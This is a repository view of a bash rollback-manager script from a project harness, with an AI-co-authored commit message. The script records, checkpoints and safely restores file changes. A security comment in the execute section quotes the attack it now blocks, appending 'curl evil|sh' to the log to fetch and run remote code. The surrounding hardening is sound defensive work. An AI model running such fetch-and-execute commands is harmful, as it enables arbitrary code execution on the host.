Files
CASAN/AINative_OKR_CASAN5/packages/casan-harness/scripts/bash/rollback-manager.sh
T
thanhnvandClaude Opus 4.8 664bd1f00c feat(plan-01): Phase 1 — relocate harness code to packages/casan-harness (symlink facade)
Physically move the pure-code subtrees out of .specify into the package, leaving
compat symlinks at the old .specify/<dir> paths so every existing reference (internal
CASAN_HARNESS_ROOT + external CI/docker/mjs) keeps resolving. Runtime state stays put.

Moved (git mv): scripts/ tests/ security/ templates/ config/ governance/ memory/
  .specify/<dir>  ->  packages/casan-harness/<dir>   (+ .specify/<dir> symlink)
Stays in .specify (state/governance/domain, handled later): logs/ agentops/ level5/
  init-options.json traceability-map.json

Python `.resolve()` self-location followed the compat symlink into packages and lost
the app root; generate-casan-demo-context.py, generate-agentops-dashboard.py and
dashboard-server.py now walk UP for the `.specify` state marker instead of a fixed
parent depth (fixes "missing trace files" in run-casan4).

Full gate: PASS=64 FAIL=0 SKIP=3 (CASAN_CI_STEP_TIMEOUT_SEC=1200 — track-a ~450s runs
close to the 600s default and can tip over under load; this is timing variance, not a
regression — it passed cleanly with headroom). Runtime log/audit artifacts kept unstaged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-08 00:06:00 +09:00

131 lines
5.4 KiB
Bash
Executable File

#!/usr/bin/env bash
set -euo pipefail
# CASAN Level 5 rollback transaction recorder.
# Usage:
# rollback-manager.sh record <action> <rollback-command>
# rollback-manager.sh checkpoint <file> # back up a file; records a REAL restore command
# rollback-manager.sh execute <transaction-id>
MODE="${1:-}"
ACTION="${2:-}"
ROLLBACK_COMMAND="${3:-}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/casan-paths.sh"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../../.." && pwd)"
LOG_DIR="$CASAN_STATE_ROOT/logs/level5"
BACKUP_DIR="$LOG_DIR/rollback-backups"
TX_LOG="$LOG_DIR/rollback-transactions.jsonl"
mkdir -p "$LOG_DIR" "$BACKUP_DIR"
# checkpoint: snapshot a real file and record a real restore command so a later
# `execute` genuinely undoes any change (not a marker write).
if [[ "$MODE" == "checkpoint" ]]; then
TARGET="$ACTION"
if [[ -z "$TARGET" || ! -f "$TARGET" ]]; then
echo "Usage: rollback-manager.sh checkpoint <existing-file>" >&2
exit 64
fi
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
BACKUP="$BACKUP_DIR/$TX_ID.bak"
cp "$TARGET" "$BACKUP"
ABS_TARGET="$(cd "$(dirname "$TARGET")" && pwd)/$(basename "$TARGET")"
RESTORE_CMD="cp '$BACKUP' '$ABS_TARGET'"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ABS_TARGET" "$RESTORE_CMD" "$BACKUP" <<'PY'
import json, sys
log, ts, tx, target, cmd, backup = sys.argv[1:]
# SEC-03: `op` + backup/target are the STRUCTURED, executable form. rollback_command
# is kept only as a human-readable / audit string — `execute` never shell-runs it.
rec = {"timestamp": ts, "transaction_id": tx, "action": "checkpoint",
"op": "restore_file", "target": target, "backup": backup,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY
echo "ROLLBACK_CHECKPOINT transaction_id=$TX_ID target=$ABS_TARGET"
exit 0
fi
if [[ "$MODE" == "record" ]]; then
if [[ -z "$ACTION" || -z "$ROLLBACK_COMMAND" ]]; then
echo "Usage: rollback-manager.sh record <action> <rollback-command>" >&2
exit 64
fi
TX_ID="$(uuidgen 2>/dev/null | tr '[:upper:]' '[:lower:]' || printf 'tx-%s-%s' "$(date +%s)" "$$")"
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
# SEC-03/SEC-05: serialize via json.dumps so `action`/`rollback_command` cannot
# inject a second forged JSON record (a raw printf let a `"`+newline break out).
# Note: a free-form `record` entry has no structured `op`, so `execute` REFUSES
# to run it — free-form rollback commands are audit-only, never executed.
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" "$ACTION" "$ROLLBACK_COMMAND" <<'PY'
import json, sys
log, ts, tx, action, cmd = sys.argv[1:]
rec = {"timestamp": ts, "transaction_id": tx, "action": action,
"rollback_command": cmd, "status": "recorded"}
open(log, "a", encoding="utf-8").write(json.dumps(rec) + "\n")
PY
echo "ROLLBACK_RECORDED transaction_id=$TX_ID"
exit 0
fi
if [[ "$MODE" == "execute" ]]; then
TX_ID="$ACTION"
if [[ -z "$TX_ID" || ! -f "$TX_LOG" ]]; then
echo "ROLLBACK_NOT_FOUND transaction_id=$TX_ID" >&2
exit 1
fi
# SEC-03 (H-03): NEVER `bash -c` a string read from the (unsigned) tx log — that
# was arbitrary remote code execution (append `curl evil|sh` -> executed). Only a
# STRUCTURED, whitelisted op is honored. The one safe op today is "restore_file":
# copy our own backup back over the target, performed in Python via argv (no shell),
# and only when the source lives inside our controlled backup dir.
PRC=0
RESTORED="$(python - "$TX_LOG" "$TX_ID" "$BACKUP_DIR" <<'PY'
import json, os, shutil, sys
log, tx, backup_dir = sys.argv[1], sys.argv[2], os.path.realpath(sys.argv[3])
rec = None
for line in open(log, encoding="utf-8"):
line = line.strip()
if not line:
continue
try:
r = json.loads(line)
except ValueError:
continue # malformed line: ignore, fail-closed later
if r.get("transaction_id") == tx and r.get("action") == "checkpoint":
rec = r # last checkpoint for this tx wins
if not rec:
sys.stderr.write("no_structured_checkpoint\n"); sys.exit(3)
op = rec.get("op") or ("restore_file" if rec.get("backup") and rec.get("target") else "")
backup = os.path.realpath(rec.get("backup", ""))
target = rec.get("target", "")
if op != "restore_file" or not backup or not target:
sys.stderr.write("not_a_whitelisted_restore_op\n"); sys.exit(4)
# A forged record cannot point the restore SOURCE at an arbitrary file.
if not (backup == backup_dir or backup.startswith(backup_dir + os.sep)):
sys.stderr.write("backup_outside_controlled_dir\n"); sys.exit(5)
if not os.path.isfile(backup):
sys.stderr.write("backup_missing\n"); sys.exit(6)
shutil.copyfile(backup, target) # argv copy — no shell interpretation
sys.stdout.write(target)
PY
)" || PRC=$?
if [[ "$PRC" -ne 0 ]]; then
echo "ROLLBACK_REFUSED transaction_id=$TX_ID reason=no_structured_restore_op (rc=$PRC)" >&2
exit 1
fi
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
python - "$TX_LOG" "$TIMESTAMP" "$TX_ID" <<'PY'
import json, sys
log, ts, tx = sys.argv[1:]
open(log, "a", encoding="utf-8").write(
json.dumps({"timestamp": ts, "transaction_id": tx, "status": "rolled_back"}) + "\n")
PY
echo "ROLLBACK_EXECUTED transaction_id=$TX_ID target=$RESTORED"
exit 0
fi
echo "Usage: rollback-manager.sh record|execute ..." >&2
exit 64